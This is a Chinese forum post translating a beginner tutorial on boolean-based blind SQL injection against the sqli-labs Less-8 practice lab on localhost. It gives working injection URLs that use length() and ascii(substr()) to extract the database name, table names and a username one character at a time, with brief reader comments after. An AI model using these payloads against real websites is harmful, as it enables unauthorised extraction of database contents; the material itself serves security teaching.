首页
社区
课程
招聘
[翻译]SQL注入新手教程(第二部分)
2017-7-10 01:56 13343

[翻译]SQL注入新手教程(第二部分)

2017-7-10 01:56
13343

如今有很多种使用SQL注入攻击数据库的方法,比如之前的教程中已经见过的基于错误返回的攻击、基于登录表单的攻击和其他许多不同形式的攻击,其目的都是获取数据库中的信息。同样地,今天我们将要学习一种新的SQL注入攻击方法——基于布尔的盲注。

攻击者通常在URL中嵌入(')来检查是否可以进行SQL注入攻击,使用(')是为了得到SQL错误返回信息。这是一场开发者和攻击者之间的战争,每当开发者提升了安全防护级别,攻击者就得绞尽脑汁地去攻破它。这一次开发者并没有将错误信息以输出的形式呈现在Web页面上。因此,即使该数据库是易于被SQL注入的,攻击者也无法获得任何相关错误信息。然而,道高一尺,魔高一丈。此时攻击者就会通过估计不同的查询结果,TRUE或者FALSE,来确定该数据库是否可被盲注。

开始吧!我们继续使用Dhakkan平台来学习盲注。


Lesson 8


首先在浏览器中输入http://localhost:81/sqli/Less-8/?id=1打开该平台(注:输入具体以个人实际情况为准,这里是原作者的配置,仅供参考)。

这时会向数据库送入一条查询:SELECT * from table_name WHERE id=1

由上图可以看出,其结果就是得到一个以黄颜色显示的"You are in..........."的Web页面。

当攻击者使用嵌入(')的查询,即:http://localhost:81/sqli/Less-8/?id=1'

由上图可以看出,该黄颜色文本消失了,也没有得到任何错误信息,使用其他攻击方式的情况与此相同。

那么攻击者只好通过盲注来进行验证了,该注入查询返回的一定是TRUE或者FALSE。

http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+

对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=1

数据库会对给定的情况1=1进行检查,如果查询有效,它就会返回TRUE。由上图可以看出,我们又得到了黄颜色显示的"You are in...........",这意味着该查询是有效的。

接着下一条查询,http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+

对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=0

同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此将会返回FALSE。由上图可以看出,该黄颜色文本右消失了。

以上即可说明该数据库是可被盲注的,由此我们就可以获取数据库信息了。


数据库字符串长度


接下来的查询将会求数据库中的字符串长度。

例如,数据库名为IGNITE,它包含了6个字母,那么该数据库字符串IGNITE的长度就等于6。与此类似的,我们使用以下注入查询来检查当前数据库名的长度是否等于1,通过是否显示文本"You are in..........."即可判断返回的是TRUE还是FALSE。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+

由上图可以看出,返回的是FALSE,这意味着当前数据库名的长度不等于1。

(注:细心的读者可能会发现上面的URL中localhost后面有81,而图片中却没有,其实这两种方式得到的是同一页面,因此不做更改,读者可自行尝试)

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+


由上图可以看出,当前数据库名的长度不等于2。

...

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+

由上图可以看出,当检查到8时,文本"You are in..........."又出现了,这意味着当前数据库名的长度为8。

众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们使用了ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。例如:

1 = I = 73

2 = G = 71

3 = N = 78

4 = I = 73

5 = T = 84

6 = E = 69

图片来源:www.lookuptables.com

接下来我们要使用ASCII码枚举出这8个字符。

下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+

由上图可以看出,第一个字符的ASCII码确实大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+

由上图可以看出,第一个字符的ASCII码小于120。这意味着第一个字符的ASCII码在100和120之间。

接下来逐个检查。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+

由上图可以看出,第一个字符的ASCII码不等于101。

...

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+

由上图可以看出,第一个字符的ASCII码不等于114。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+

由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'。

接下来就是第二个字符,重复以上步骤。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+

...

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) = 101 --+

由上图可以看出,返回的是TRUE,意味着第二个字符的ASCII码等于101,即'e'。

同理即可得到全部的8个字符,具体如下:

1 = s = 115

2 = e = 101

3 = c = 99

4 = u = 117

5 = r = 114

6 = i = 105

7 = t = 116

8 = y = 121


表字符串长度


我们还得使用同样的技术来获取数据库中的表的信息。以下查询会检查第一个表名的长度是否大于5。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+

由上图可以看出,第一个表名的长度确实大于5。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+

由上图可以看出,第一个表名的长度不大于6。其实这已经意味着第一个表名的长度等于6了,不过为了演示,还是执行以下查询:

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

由上图可以看出,第一个表名的长度确实等于6。

类似的,可用同样的技术测试第二个和第三个表名的长度,改变一下上面所用查询中的表的编号即可。

再来演示一下如何测试第四个表名的长度。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

由上图可以看出,第四个表名的长度等于5。

然后就是枚举表名的具体字符,所用方法和前面的相同,这里以第四个表名为例。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 115 --+

由上图可以看出,该表名第一个字符的ASCII码大于115。

接下来测试该表名第一个字符的ASCII码是否大于120。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 120 --+

由上图可以看出,该表名第一个字符的ASCII码小于120。结合上面可知,该表名第一个字符的ASCII码位于115到120之间,接着逐个检测。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 116 --+

由上图可以看出,该表名第一个字符的ASCII码不等于116。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 117 --+

由上图可以看出,该表名第一个字符的ASCII码等于117。这意味着第四个表名的第一个字符为'u'。

同理即可得到第四个表名的全部字符,如下:

1 = u = 117

2 = s = 115

3 = e = 101

4 = r = 114

5 = s = 115


枚举用户名


接下来我们使用同样的技术测试一下表users中第一个用户名的长度。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+

由上图可以看出,用户名的长度等于4。

然后就是枚举该用户名的具体字符,还是用之前的技术。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 100 --+

由上图可以看出,该用户名第一个字符的ASCII码小于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 50 --+

由上图可以看出,该用户名第一个字符的ASCII码大于50。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 60 --+

由上图可以看出,该用户名第一个字符的ASCII码大于60。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 70 --+

由上图可以看出,该用户名第一个字符的ASCII码不大于70。结合上面可知,该用户名第一个字符的ASCII码位于60到70之间,接着逐个检测。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) = 68 --+

由上图可以看出,该用户名第一个字符的ASCII码等于68。这意味着第一个字符为'D'。

同理即可得到该用户名的全部字符,如下:

1 = D = 68

2 = u = 117

3 = m = 109

4 = b  = 98


到此为止,我们已经学会了如何使用盲注技术来攻击数据库。


相关文章:

SQL注入新手教程 (第一部分)

一步步手动进行SQL注入

如何手动绕过SQL注入过滤器?(一)

如何手动绕过SQL注入过滤器?(二)

如何手动绕过SQL注入过滤器?(三)

基于表单的SQL注入(手动)

使用OUTFILE导出数据库数据




原文链接:http://www.hackingarticles.in/beginner-guide-sql-injection-boolean-based-part-2/

本文由 看雪翻译小组 hesir 编译


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 7614
活跃值: (1970)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
friendanx 2017-8-23 08:55
3
0
不错,很详细,辛苦了
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_arch_368752 2018-2-12 01:33
4
0
清晰明了,感谢!
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_ECCarrot 2019-10-24 09:30
5
0
卢本伟牛皮
游客
登录 | 注册 方可回帖
返回